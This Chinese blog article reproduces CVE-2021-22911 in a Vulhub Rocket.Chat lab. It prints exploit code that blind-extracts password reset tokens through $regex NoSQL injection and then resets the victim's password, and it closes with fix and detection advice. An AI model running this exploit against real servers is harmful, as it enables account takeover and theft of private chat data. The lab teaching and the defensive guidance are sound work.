Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

发布时间:2026/9/14 4:23:37

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现 Rocket.Chat 前台 NoSQL 盲注漏洞CVE-2021-22911从盲注原理到账户接管的全链路复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubRocket.Chat 是基于 Node.js 与 MongoDB 的开源团队协作聊天平台其 3.12.13.13.2 版本中的getPasswordPolicy方法存在一处无需认证即可触发的 MongoDB 注入漏洞。本文以 Vulhub 中 rocketchat/CVE-2021-22911 环境为核心完整讲解漏洞的原理、攻击链路与自动化利用脚本 CVE-2021-22911.py 的实现细节读完后你将掌握如何通过未授权接口泄露任意用户的 Password Reset Token并据此接管普通用户账户。漏洞概述两种攻击方式CVE-2021-22911 的根因是getPasswordPolicy方法对用户输入缺乏过滤攻击者传入的查询参数被直接拼接进 MongoDB 查询语句从而可以注入$regex等 MongoDB 查询操作符。该接口位于 Rocket.Chat 的method.callAnon通道之下不需要任何身份认证即可调用。围绕这一注入点存在两种典型的利用路径未授权攻击者利用该漏洞泄露任意普通用户的 Password Reset Token密码重置令牌再通过令牌直接修改其账户密码实现完全接管已登录普通用户利用该漏洞越权读取任意用户的任意信息。Vulhub 的中文文档README.zh-cn.md与英文文档README.md聚焦第一种未授权令牌泄露 改密路径本文同样以该路径为主线进行复现并对脚本与接口细节做源码级的展开。环境搭建Vulhub 使用官方预构建镜像vulhub/rocketchat:3.12.1搭建漏洞环境完整编排见 docker-compose.yml。执行以下命令启动环境docker compose up -d编排文件中共定义了三类容器理解它们的分工有助于把握 Rocket.Chat 的运行前提rocketchat漏洞目标本体基于vulhub/rocketchat:3.12.1镜像。command中通过seq 1 30循环执行node main.js并配合sleep 5重试是为了等待 MongoDB 副本集就绪后再拉起应用关键环境变量包括PORT3000Web 服务监听端口ROOT_URLhttp://localhost:3000对外访问地址MONGO_URLmongodb://mongo:27017/rocketchat业务数据库地址MONGO_OPLOG_URLmongodb://mongo:27017/localRocket.Chat 依赖 MongoDB 副本集的 oplog 机制故必须指定 oplog 地址MAIL_URLsmtp://smtp.email占位的邮件地址实际攻击不依赖真实发信。mongomongo:4.0镜像启动参数--replSet rs0 --oplogSize 128 --storageEnginemmapv1 --smallfiles表明数据库以单节点副本集方式运行——这正是 Rocket.Chat 强制要求的部署形态。mongo-init-replica一次性初始化容器执行rs.initiate({...})初始化名为rs0的副本集完成后自行退出容器内break || ...; (exit $s)的模式与 rocketchat 容器的等待逻辑一致。环境启动后访问http://your-ip:3000进入 Rocket.Chat 安装向导跟随向导完成安装即可。安装完成后为验证第一种攻击方法需要在管理后台创建一个普通用户用户名vulhub邮箱vulhubvulhub.org。创建成功后的用户列表如下vulhub账户的 Roles 为user即为待接管的目标攻击链路三步接管用户账户利用该漏洞接管一个普通用户共需三步前两步对应脚本中的两个函数触发密码重置以目标邮箱请求找回密码后台会为该邮箱在数据库中生成一条 Password Reset Token盲注提取令牌利用getPasswordPolicy的 MongoDB 注入以$regex前缀匹配的方式逐字符还原 Token令牌改密使用窃得的 Token 调用resetPassword方法把目标用户密码改成攻击者控制的值。第一步触发 Token 生成脚本 CVE-2021-22911.py 的reset_password函数第 15–27 行向未授权接口发送找回密码请求payload { msg: method, method: sendForgotPasswordEmail, params: [email], } session.post( f{target}/api/v1/method.callAnon/sendForgotPasswordEmail, json{message: json.dumps(payload)}, )注意两个细节接口路径中的callAnon表明 Rocket.Chat 将这类方法暴露在匿名调用通道上请求体以{message: json字符串}的形式包装message字段内是序列化后的方法调用描述msg/method/params三段结构。执行成功后打印[] Password Reset Email Sent此时数据库中已为该邮箱写入一条重置令牌。第二步$regex 盲注逐位还原 Token这是整个漏洞的核心。getPasswordPolicy接口接受一个token参数服务端将其直接放入 MongoDB 查询条件而未做任何转义因此攻击者可以把{ token: { $regex: ^8 } }这样的查询操作符注入进去让数据库把token字段当作正则来匹配。由于接口不会回显匹配到的数据只能根据响应差异判断命中与否因此这是一次典型的盲注当$regex写成^7Token 实际首字符不是 7时查询无结果接口返回Meteor.Error错误error:error-invalid-user,reason:Invalid user当$regex写成^8Token 首字符确为 8时查询命中接口正常返回策略内容{enabled: false, policy: []}。两种响应的原始请求/响应对照如下。左$regex为^7时返回Meteor.Error右$regex为^8时命中令牌返回正常密码策略对比可见两者的判别特征是响应体中是否包含Meteor.Error字符串这正是脚本中if bMeteor.Error not in response.content这一判断第 49 行的依据。inject_token函数第 30–57 行把上述过程自动化guess -_ string.digits string.ascii_letters ... payload { msg: method, method: getPasswordPolicy, params: [{ token: { $regex: ^ } }], } for i in range(43): current payload[params][0][token][$regex] for ch in guess: payload[params][0][token][$regex] current ch response session.post( f{target}/api/v1/method.callAnon/getPasswordPolicy, json{message: json.dumps(payload)}, ) if bMeteor.Error not in response.content: break # 命中当前字符进入下一位 time.sleep(1.5)脚本参数设计上有几点值得注意字典guess为-_加数字与大小写字母Rocket.Chat 的密码重置令牌由字母数字及-、_组成字典与之对齐保证每一位都能命中外层for i in range(43)固定猜测 43 位与令牌长度一致内层按current ch逐位追加字符命中即跳出内层循环下一轮外层循环继续猜测下一位命中判定即Meteor.Error的有无无该字符串视为命中并打印当前已还原前缀$regex去掉开头的^后即为 Token 本身否则打点并sleep(1.5)限速避免请求过快触发服务端保护。整个过程的复杂度为43 × 字典长度次 HTTP 请求本例约 43 × 64 次在 1.5 秒间隔下需要较长时间但全程无需登录态。实际运行效果如下Token 被逐字符还原8tNbUJCigNeoL...第三步使用 Token 重置密码拿到完整 Token 后攻击者只需再次调用未授权接口resetPassword参数为窃得的 Token 与新密码数组{ msg: method, method: resetPassword, params: [ {$token值: 新密码} ] }对应请求发送至POST /api/v1/method.callAnon/resetPassword。服务端校验 Token 有效后更新该用户密码响应返回success: true及新的 Token 过期时间tokenExpires至此目标用户vulhub的账户已被完全接管——攻击者可以使用自己设置的密码登录该账户读取其全部聊天数据或以其身份继续横向利用。脚本使用与完整攻击命令仓库提供的利用脚本接受两个参数目标地址与目标用户邮箱python CVE-2021-22911.py http://target-ip:3000 vulhubvulhub.org脚本内部自动完成触发重置邮件 → 盲注提取 Token两步if __name__ __main__分支第 60–63 行输出形如[] Password Reset Email Sent [*] Guess No.1 character: .............. [] Current token is 8 [*] Guess No.2 character: .............................. [] Current token is 8t ...提取完成后再手工或自行扩展脚本发起第三步的resetPassword请求即可完成接管。小结与修复方向漏洞本质getPasswordPolicy方法将用户可控的token参数未经过滤直接拼入 MongoDB 查询且接口暴露在method.callAnon匿名通道下无需认证 查询注入叠加使其危害从信息泄露升级为账户接管影响版本Rocket.Chat 3.12.13.13.2升级到修复版本即可消除该攻击面通用防御启示对 NoSQL 数据库的查询构造应使用类型白名单校验例如 Token 只允许特定字符与长度拒绝以$开头的键值操作符敏感接口的匿名调用通道应收窄到最小集合检测视角监控method.callAnon/getPasswordPolicy请求中出现$regex、$ne、$gt等 MongoDB 操作符的流量可作为该漏洞利用的直接指纹。本文全部环境与材料均来自 Vulhub 仓库环境编排见 rocketchat/CVE-2021-22911/docker-compose.yml利用脚本见 rocketchat/CVE-2021-22911/CVE-2021-22911.py中英文档见 rocketchat/CVE-2021-22911/README.md 与 rocketchat/CVE-2021-22911/README.zh-cn.md。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
延伸阅读

更多相关文章

2026/9/14 4:23:37

2026年人体工学椅选购黄金期:技术成熟度与国标落地交汇点

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 4:23:37

基于OpenPose与随机森林的驾驶员疲劳检测实战指南

简介:基于开放姿态估计 OpenPose 与随机森林算法的驾驶员状态检测系统,是面向计算机相关专业毕业设计、课程设计及项目实战练习者的完整源码包。项目将 OpenPose 姿态估计与随机森林分类相结合,实现驾驶员姿态识别与疲劳状态检测,…

2026/9/14 4:58:38

鸿蒙远程控制五大核心适配细节解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 4:58:38

C++桥接模式:原理、实现与应用场景详解

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 4:58:38

把 MCP Client 的 BASE_URL 指向 TaoToken,天气查询照样跑通

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 4:58:38

量子计算安全威胁与2026年防御策略解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 4:53:38

Web开发安全误区与防护实践指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 2:17:50

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/14 0:03:22

KCF目标跟踪算法与OTB工程实现:毕业设计实战解析

简介:这是一份基于KCF核相关滤波算法、融合尺度池与抗遮挡处理的目标检测跟踪MATLAB完整源码,主要面向计算机相关专业准备毕业设计、课程设计或期末大作业的学生,也适合需要项目实战练习的初学者。源码在OTB数据集上完成验证,能够…

2026/9/14 0:03:22

语音情感识别实战:Keras实现LSTM、CNN、SVM与MLP多模型对比

简介:面向语音情感识别入门与进阶开发者,这份基于Keras的项目源码完整实现了LSTM、CNN、SVM、MLP四种模型,兼容Python3.8与Keras/TensorFlow2环境。压缩包内含49个文件,大小约70.31MB,主体包括Python脚本、yaml/json配…

2026/9/12 6:29:36

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/12 14:32:17

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/13 11:18:28

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码